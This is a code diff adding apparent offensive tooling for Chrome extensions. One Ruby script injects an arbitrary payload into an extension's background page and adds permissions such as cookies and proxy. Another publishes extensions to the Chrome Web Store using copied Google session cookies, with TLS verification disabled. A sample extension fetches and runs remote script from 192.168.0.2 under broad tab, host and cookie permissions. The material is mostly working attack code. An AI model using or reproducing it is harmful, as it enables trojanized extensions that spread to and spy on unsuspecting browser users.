diff --git a/tools/chrome_extensions_exploitation/injector/chrome_extension_toolkit.rb b/tools/chrome_extensions_exploitation/injector/chrome_extension_toolkit.rb new file mode 100644 index 000000000..078870fca --- /dev/null +++ b/tools/chrome_extensions_exploitation/injector/chrome_extension_toolkit.rb @@ -0,0 +1,135 @@ +#!/usr/bin/env ruby +# encoding: UTF-8 + +# Authors: +# Krzysztof Kotowicz - @kkotowicz + +require 'rubygems' +require 'json' +require 'securerandom' + +class ChromeExtensionToolkit + @ext = '' + @manifest + BCG_SCRIPT = 1 + BCG_PAGE = 2 + + def initialize(extpath) + raise ArgumentError, "Empty extension path" unless extpath + raise ArgumentError, "Invalid extension path" unless File.directory?(extpath) + @ext = extpath + end + + def reload_manifest() + f = get_file('manifest.json') + manifest = File.read(f).sub("\xef\xbb\xbf", '') + manifest = JSON.parse(manifest) + set_manifest(manifest) + return manifest + end + + def get_manifest() + if @manifest + return @manifest + end + + return reload_manifest() + end + + def set_manifest(manifest) + @manifest = manifest + end + + def save_manifest() + save_file('manifest.json', JSON.pretty_generate(@manifest)) + end + + def save_file(file, contents) + File.open(get_file(file), 'w') {|f| f.write contents } + end + + def get_file(file) + return File.join(@ext, file) + end + + def assert_not_app() + manifest = get_manifest() + raise RuntimeError, "Apps are not supported, only regular Chrome extensions" if manifest['app'] + end + + def inject_script(payload) + assert_not_app() + assert_background_page('injector_bg') # add page to extensions that don't have one + bcg_file = get_file(get_background_page()) + + if File.exist?(bcg_file) + bcg = File.read(bcg_file) + else + bcg = "" + end + + if not payload + return bcg + end + + if bcg_file.end_with? ".js" # js file, just prepend payload + return payload + ";" + bcg + end + + name = SecureRandom.hex + '.js' + save_file(name, payload) + return bcg.sub(/(\|\Z)/i, "\\1\n") + end + + def assert_background_page(default) + manifest = get_manifest() + if not manifest['manifest_version'].nil? and manifest['manifest_version'] >= 2 + if manifest['background'].nil? + manifest['background'] = {} + end + + if manifest['background']['page'] + return BCG_PAGE + end + + if not manifest['background']['scripts'].nil? + manifest['background']['scripts'].unshift(default + '.js') + set_manifest(manifest) + return BCG_SCRIPT + else + + manifest['background']['scripts'] = [default + '.js'] + set_manifest(manifest) + return BCG_SCRIPT + end + end + if not manifest['background_page'] + manifest['background_page'] = default + '.html' + end + set_manifest(manifest) + return BCG_PAGE + end + + def add_permissions(perms) + manifest = get_manifest() + manifest['permissions'] += perms + manifest['permissions'].uniq! + set_manifest(manifest) + end + + def get_background_page() + manifest = get_manifest() + if manifest['background'] and manifest['background']['page'] + return manifest['background']['page'] + end + + if manifest['background'] and manifest['background']['scripts'] + return manifest['background']['scripts'][0] + end + + if manifest['background_page'] + return manifest['background_page'] + end + raise RuntimeError, "No background page present" + end +end diff --git a/tools/chrome_extensions_exploitation/injector/inject.rb b/tools/chrome_extensions_exploitation/injector/inject.rb new file mode 100755 index 000000000..a79500e00 --- /dev/null +++ b/tools/chrome_extensions_exploitation/injector/inject.rb @@ -0,0 +1,53 @@ +#!/usr/bin/env ruby +# encoding: UTF-8 + +# Authors: +# Krzysztof Kotowicz - @kkotowicz + +require_relative 'chrome_extension_toolkit.rb' + +def help() + puts "[-] Error. Usage: ruby inject.rb [permissions] < script.js" + puts "Example: ruby inject.rb dir-with-extension 'plugins,proxy,cookies' < inject.js" + exit 1 +end + +begin + extpath = ARGV[0] + if not extpath + help() + end + t = ChromeExtensionToolkit.new(extpath) + puts "Loaded extension in #{extpath}" + + manifest = t.get_manifest() + puts "Existing manifest: " + puts manifest + + # injecting any script from stdin + puts "Reading payload..." + payload = $stdin.read + puts "Injecting payload..." + + injected = t.inject_script(payload) + + print injected + + if ARGV[1] + perms = ARGV[1].split(',') + puts "Adding permissions #{ARGV[1]}..." + t.add_permissions(perms) + end + + puts "Saving..." + # write + t.save_file(t.get_background_page(), injected) + t.save_manifest() + + puts "Done." + +rescue Exception => e + $stderr.puts e.message + $stderr.puts e.backtrace.inspect + exit 1 +end diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/config.rb.sample b/tools/chrome_extensions_exploitation/webstore_uploader/config.rb.sample new file mode 100644 index 000000000..c4e7741d0 --- /dev/null +++ b/tools/chrome_extensions_exploitation/webstore_uploader/config.rb.sample @@ -0,0 +1,22 @@ +# Authors: +# Michele '@antisnatchor' Orru + +# 1. Login at https://chrome.google.com/webstore/developer/dashboard/ +# 2. Pay your $5 one time fee +# 3. Get SID, SSID, HSID cookies and paste their values below + +# if you want to proxy request through Burp, USE_PROXY = true +USE_PROXY = false +PROXY_HOST = "127.0.0.1" +PROXY_PORT = 9090 + +HTTP_READ_OPEN_TIMEOUT = 30 # seconds + +G_PUBLISHER_ID = '' # gXXXXXXX, the last part of the Dashboard URL https://chrome.google.com/webstore/developer/dashboard/gXXXX + +# these are the only 3 session cookies needed, the rest of the cookies are not needed. +# you get these cookies when you are successfully authenticated on +SID = "" +SSID = "" +HSID = "" + diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext.zip b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext.zip new file mode 100644 index 000000000..f78442973 Binary files /dev/null and b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext.zip differ diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/background.js b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/background.js new file mode 100644 index 000000000..8ee03a536 --- /dev/null +++ b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/background.js @@ -0,0 +1,5 @@ +d=document; +e=d.createElement('script'); +e.src="https://192.168.0.2/ciccio.js"; +d.body.appendChild(e); + diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon128.png b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon128.png new file mode 100644 index 000000000..58a6ecc85 Binary files /dev/null and b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon128.png differ diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon16.png b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon16.png new file mode 100644 index 000000000..855e228e8 Binary files /dev/null and b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon16.png differ diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon48.png b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon48.png new file mode 100644 index 000000000..2f4cd2b7c Binary files /dev/null and b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon48.png differ diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/manifest.json b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/manifest.json new file mode 100644 index 000000000..9f2dbdf06 --- /dev/null +++ b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/manifest.json @@ -0,0 +1,21 @@ +{ + "name": "Test extension", + "manifest_version": 2, + "version": "1.0", + "description": "Test extension", + "background": { + "scripts": ["background.js"] + }, + "content_security_policy": "script-src 'self' 'unsafe-eval' https://192.168.0.2; object-src 'self'", + "icons": { + "16": "icon16.png", + "48": "icon48.png", + "128": "icon128.png" + }, + "permissions": [ + "tabs", + "http://*/*", + "https://*/*", + "cookies" + ] +} diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/webstore_upload.rb b/tools/chrome_extensions_exploitation/webstore_uploader/webstore_upload.rb new file mode 100644 index 000000000..79feb6af5 --- /dev/null +++ b/tools/chrome_extensions_exploitation/webstore_uploader/webstore_upload.rb @@ -0,0 +1,289 @@ +# encoding: UTF-8 +require 'rubygems' +require 'net/https' +require 'json' +require 'zip' +require 'json' + +# Authors: +# Michele '@antisnatchor' Orru +# Krzysztof Kotowicz - @kkotowicz +# README: +# Before running the script, make sure you change the following 4 variables in config.rb: +# G_PUBLISHER_ID, SID, SSID, HSID +# +# You can retrieve all these values after you're successfully authenticated in the WebStore, see comments +# in the config.rb.sample. Rename it ro config.rb when done. +# + +require_relative 'config.rb' + +def help() + puts "[-] Error. Usage: ruby webstore_upload.rb [description_file] [screenshot_file]" + exit 1 +end + +zip_name = ARGV[0] +if zip_name == nil + help() +end +EXT_ZIP_NAME = zip_name + +mode = ARGV[1] +action = nil +if mode == nil + help() +elsif mode == "publish" + action = "publish" +elsif mode == "save" + action = "save_and_return_to_dashboard" + #action = "save" +else + help() +end +ACTION = action + +if !File.exists?(EXT_ZIP_NAME) + puts "[-] Error: #{EXT_ZIP_NAME} does not exist" + help() +end + +if ARGV[2] != nil and File.exists?(ARGV[2]) + DESCRIPTION = File.new(ARGV[2]).read() + puts "[*] Using description from #{ARGV[2]}" +else + DESCRIPTION = "" +end + +if ARGV[3] != nil and File.exists?(ARGV[3]) + SCREENSHOT_NAME = ARGV[3] + puts "[*] Using screenshot from #{SCREENSHOT_NAME}" +end + +# general get/post request handler +def request(uri, method, headers, post_body) + uri = URI(uri) + http = nil + if USE_PROXY + http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT) + else + http = Net::HTTP.new(uri.host, uri.port) + end + + http.read_timeout = HTTP_READ_OPEN_TIMEOUT + http.open_timeout = HTTP_READ_OPEN_TIMEOUT + if uri.scheme == "https" + http.use_ssl = true + http.verify_mode = OpenSSL::SSL::VERIFY_NONE + end + + request = nil + if method == "POST" + request = Net::HTTP::Post.new(uri.request_uri, headers) + if post_body.is_a?(Hash) + request.set_form_data(post_body) # post_body as in: {"key" => "value"} + else + request.body = post_body # post_body as in: {"key" => "value"} + end + else # otherwise GET + request = Net::HTTP::Get.new(uri.request_uri, headers) + end + + begin + response = http.request(request) + + case response + when Net::HTTPSuccess + then + return response + when Net::HTTPRedirection # if you get a 3xx response + then + return response + else + return nil + end + rescue SocketError => se # domain not resolved + return nil + rescue Timeout::Error => timeout # timeout in open/read + return nil + rescue Errno::ECONNREFUSED => refused # connection refused + return nil + rescue Exception => e + #puts e.message + #puts e.backtrace + return nil + end +end + +# raw request to upload the extension.zip file data +def request_octetstream(uri, headers) + file = File.new(EXT_ZIP_NAME) + + uri = URI(uri) + req = Net::HTTP::Post.new(uri.request_uri, headers) + + post_body = [] + post_body << File.read(file) + req.body = post_body.join + req["Content-Type"] = "application/octet-stream" + + http = nil + if USE_PROXY + http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT) + else + http = Net::HTTP.new(uri.host, uri.port) + end + + http.read_timeout = HTTP_READ_OPEN_TIMEOUT + http.open_timeout = HTTP_READ_OPEN_TIMEOUT + if uri.scheme == "https" + http.use_ssl = true + http.verify_mode = OpenSSL::SSL::VERIFY_NONE + end + response = http.request(req) + return response +end + +# defaults to English Language and Productivity category +def send_publish_request(uri, cx_auth_t, headers, action="publish") + + uri = URI(uri) + req = Net::HTTP::Post.new(uri.request_uri, headers) + boundary = rand(14666338978986066131776338987).to_s.center(29, rand(29).to_s) + + fields = { + "action" => action, "t" => cx_auth_t, "edit-locale" => "en_US", "desc" => DESCRIPTION, "screenshot" => SCREENSHOT_NAME, "cx-embed-box" => "", + "official_url" => "none", "homepage_url" => "", "support_url" => "", "categoryId" => "7-productivity", "tiers" => "0", "all-regions" => "1", + "cty-AR" => "1", "cty-AU" => "1", "cty-AT" => "1", "cty-BE" => "1", "cty-BR" => "1", "cty-CA" => "1", "cty-CN" => "1", + "cty-CZ" => "1", "cty-DK" => "1", "cty-EG" => "1", "cty-FI" => "1", "cty-FR" => "1", "cty-DE" => "1", "cty-HK" => "1", + "cty-IN" => "1", "cty-ID" => "1", "cty-IL" => "1", "cty-IT" => "1", "cty-JP" => "1", "cty-MY" => "1", "cty-MX" => "1", + "cty-MA" => "1", "cty-NL" => "1", "cty-NZ" => "1", "cty-NO" => "1", "cty-PH" => "1", "cty-PL" => "1", "cty-PT" => "1", + "cty-RU" => "1", "cty-SA" => "1", "cty-SG" => "1", "cty-ES" => "1", "cty-SE" => "1", "cty-CH" => "1", "cty-TW" => "1", + "cty-TH" => "1", "cty-TR" => "1", "cty-UA" => "1", "cty-AE" => "1", "cty-GB" => "1", "cty-US" => "1", "cty-VN" => "1", + "language" => "en", "openid_realm" => "", "analytics_account_id" => "", "extensionAdsBehavior" => "", "publish-destination" => "PUBLIC", + "ignore" => "true", "payment-type" => "free", "subscription-period" => "none", "logo128-image" => "", + } + + post_body = [] + post_body << "-----------------------------#{boundary}\r\n" + fields.each do |key,value| + if key == "screenshot" + # screenshot must be treated differently + post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (value ? File.basename(value) : '' )+ "\"\r\n" + post_body << "Content-Type: application/octet-stream\r\n\r\n" + post_body << (value ? File.read(value) : '') + post_body << "\r\n" + post_body << "-----------------------------#{boundary}\r\n" + next + elsif key == "logo128-image" + post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (ICON_NAME ? File.basename(ICON_NAME) : '') + "\"\r\n" + post_body << "Content-Type: application/octet-stream\r\n\r\n" + post_body << ICON + post_body << "\r\n" + post_body << "-----------------------------#{boundary}\r\n" + next + end + post_body << "Content-Disposition: form-data; name=\"#{key}\"\r\n" + post_body << "\r\n" + post_body << "#{value}\r\n" + if key == "logo128-image" + post_body << "-----------------------------#{boundary}--\r\n" + break + else + post_body << "-----------------------------#{boundary}\r\n" + end + end + + req.body = post_body.join + + + req["Content-Type"] = "multipart/form-data; boundary=---------------------------#{boundary}" + + http = nil + if USE_PROXY + http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT) + else + http = Net::HTTP.new(uri.host, uri.port) + end + + http.read_timeout = HTTP_READ_OPEN_TIMEOUT + http.open_timeout = HTTP_READ_OPEN_TIMEOUT + if uri.scheme == "https" + http.use_ssl = true + http.verify_mode = OpenSSL::SSL::VERIFY_NONE + end + response = http.request(req) + return response +end + +puts "[+] Reading manifest..." +Zip::File.open(EXT_ZIP_NAME) do |zip_file| + entry = zip_file.glob('manifest.json').first + manifest = JSON.parse(entry.get_input_stream.read) + ICON_NAME = manifest['icons']['128'] + puts "[+] Found icon: #{ICON_NAME}" + ICON = zip_file.glob(ICON_NAME).first.get_input_stream.read + ICON.force_encoding 'utf-8' +end + +upload_url = "https://chrome.google.com/webstore/developer/upload" +post_body = '{"protocolVersion":"0.8","createSessionRequest":{"fields":[{"external":{"name":"file","filename":'+ +'"' + File.basename(EXT_ZIP_NAME) + '","put":{},"size":' + File.new(EXT_ZIP_NAME).size.to_s + '}},{"inlined":{"name":"extension_id","content":'+ +'"null","contentType":"text/plain"}},{"inlined":{"name":"package_id","content":"main","contentType":"text/plain"}},'+ +'{"inlined":{"name":"publisher_id","content":"' + G_PUBLISHER_ID + '","contentType":"text/plain"}},'+ +'{"inlined":{"name":"language_code","content":"en-US","contentType":"text/plain"}}]}}' + +auth_headers = {'Cookie'=> "SID=#{SID}; HSID=#{HSID}; SSID=#{SSID};"} + +upload_auth_resp = request(upload_url, 'POST', auth_headers, post_body) +upload_status = JSON.parse(upload_auth_resp.body) +if upload_status['errorMessage'] == nil + upload_id = upload_status['sessionStatus']['upload_id'] + upload_url = "https://chrome.google.com/webstore/developer/upload?upload_id=#{upload_id}&file_id=000" + + puts "[+] Uploading ZIP..." + response = request_octetstream(upload_url, auth_headers) + + upload_status = JSON.parse(response.body) + if upload_status['errorMessage'] == nil && upload_status['sessionStatus']['state'] == "FINALIZED" + extension_id = upload_status['sessionStatus']['additionalInfo']['uploader_service.GoogleRupioAdditionalInfo']['completionInfo']['customerSpecificInfo']['extension_id'] + puts "[+] Extension uploaded successful. Extension ID: #{extension_id}" + + # Last request, to Publish the extension, requires Language/Category to be set. + # A multipart/form-data request is sent, but we first need to get an hidden form field "cx-action-t" value, + # then send the final multipart/form-data request with that value inside. + puts "[+] Fetching edit page..." + edit_ext_url = "https://chrome.google.com/webstore/developer/edit/#{extension_id}" + edit_ext_resp = request(edit_ext_url, 'GET', auth_headers, nil) + + cx_action_t = edit_ext_resp.body.split("id=\"cx-action-t\" name=\"t\" value=\"").last.split("\"").first + if cx_action_t.index('<') != nil # error + puts ['[-] Error: Session invalid, update cookies values'] + exit 1 + end + puts "[+] Retrieved cx-action-t hidden field value: #{cx_action_t}" + puts "[+] Sending #{ACTION} request..." + edit_ext_resp = send_publish_request(edit_ext_url, cx_action_t, auth_headers, ACTION) + + if edit_ext_resp.is_a?(Net::HTTPRedirection) + puts "[+] Extension details (category/language) updated." + final_location = edit_ext_resp['Location'] + if ACTION == 'publish' + puts "[+] Extension is in queue for publishing. URL: https://chrome.google.com#{final_location}" + else + puts "[+] Extension updated. URL: https://chrome.google.com#{final_location}" + end + else + if edit_ext_resp.body and edit_ext_resp.body.include?('Please fix the following errors:
    ') + errors = edit_ext_resp.body.split("Please fix the following errors:
      ").last.split("
    ").first.gsub(/<[^>]*>/ui,' ') + puts "[-] Errors: #{errors}" + end + puts "[-] Error updating extension details. Anyway, the extension is uploaded." + end + else + puts "[-] Error: #{upload_status['errorMessage']}" + end + +else + puts "[-] Error: #{upload_status['errorMessage']}" +end